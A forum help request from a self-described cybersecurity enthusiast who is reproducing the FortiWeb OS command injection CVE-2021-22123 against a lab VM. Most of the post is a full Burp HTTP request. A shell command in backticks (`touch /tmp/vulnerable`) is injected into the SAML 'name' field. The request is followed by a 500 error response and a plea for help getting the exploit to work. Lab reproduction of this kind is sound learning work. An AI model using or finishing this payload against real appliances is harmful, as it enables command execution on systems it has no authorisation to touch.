CVE-2021-22123 fortiweb bypass?

ph4ntom · June 20, 2023, 8:37pm

As a cybersecurity enthusiast, I tried to do the following exercise :

A Fortiweb-VM Version 6.3.11 linked to a DVWA (vulnerable platform), with a burp, I took a request of the Fortiweb platform and send it to the repeater :

In the repeater section I took the following payload as in the link (Fortinet FortiWeb OS Command Injection | Rapid7 Blog) and wrote it in my own way: as follows:

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: 192.168.253.15
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=gx4ts9yqLQNVI1q7xvKTmmjY69ocT92DlnTLCEHPb+TI9DhD5LXfOqOSQhkfqds8%0ahr/WQTgbwwEhP5jY6LNVs9EZkeW7QFl0LpqPxe4a6pSEkGVO4u+MdDb1hhrjDTBL%0avaUOW3GFAa/+PRykpFYGgxDzaunonLPajFGw+9bfXyg=%0a&AuthHash=kWr8ykaT+ZmnlBCVadKFaXboKAI=%0a; APSCOOKIE_VDOM_8672793038565212270=root
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.253.15/root/system/status/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: 
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}

When I sent the new request I got the following screen:

Screenshot from 2023-04-30 00-50-591920×1080 291 KB

Could someone help me to solve the issue?